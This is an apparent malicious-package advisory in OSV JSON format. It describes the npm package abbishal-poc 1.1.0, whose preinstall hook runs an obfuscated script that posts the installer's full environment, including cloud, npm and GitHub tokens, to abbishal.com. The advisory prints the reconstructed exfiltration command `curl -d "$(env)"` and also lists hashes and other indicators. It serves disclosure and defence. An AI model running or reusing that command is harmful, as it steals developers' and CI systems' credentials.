{"id":"MAL-2026-17545","summary":"Malicious code in abbishal-poc (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32)\nOn `npm install`, package.json's preinstall hook runs `sh./test.sh`, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute `curl -d \"$(env)\" https://abbishal.com/sh/poc`. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.\n","modified":"2026-10-05T04:15:06.411039172Z","published":"2026-10-05T03:35:06Z","database_specific":{"malicious-packages-origins":[{"modified_time":"2026-10-05T03:35:06Z","sha256":"f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32","source":"amazon-inspector","versions":["1.1.0"],"id":"IN-MAL-2026-021011","import_time":"2026-10-05T03:57:38.520476568Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/abbishal-poc/v/1.1.0"}],"affected":[{"package":{"name":"abbishal-poc","ecosystem":"npm","purl":"pkg:npm/abbishal-poc"},"versions":["1.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abbishal-poc/MAL-2026-17545.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"package_integrity":[{"filename":"abbishal-poc-1.1.0.tgz","hashes":{"sha1":"dfa84c45165d6c80e53b969551a016595e724fa3","sha512_sri":"sha512-nel38YeFu2J7lRIIGwvRpB45nWzz1SwZf2UgYFfTWwDNZ3N4nR7vkfjWsSNtxJ9v/EfKxLuYOz90PX/sBG4K1A=="}}],"evidence_files":[{"sha256":"18a6b6485d45d2b52b570abb42355d59865866191761267e137be12061eebf29","tlsh":"c60123f34a646374edf908b31a5d13e6c2b4a05a857358b852ef510512026e4123bd25","path":"test.sh"}]}}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}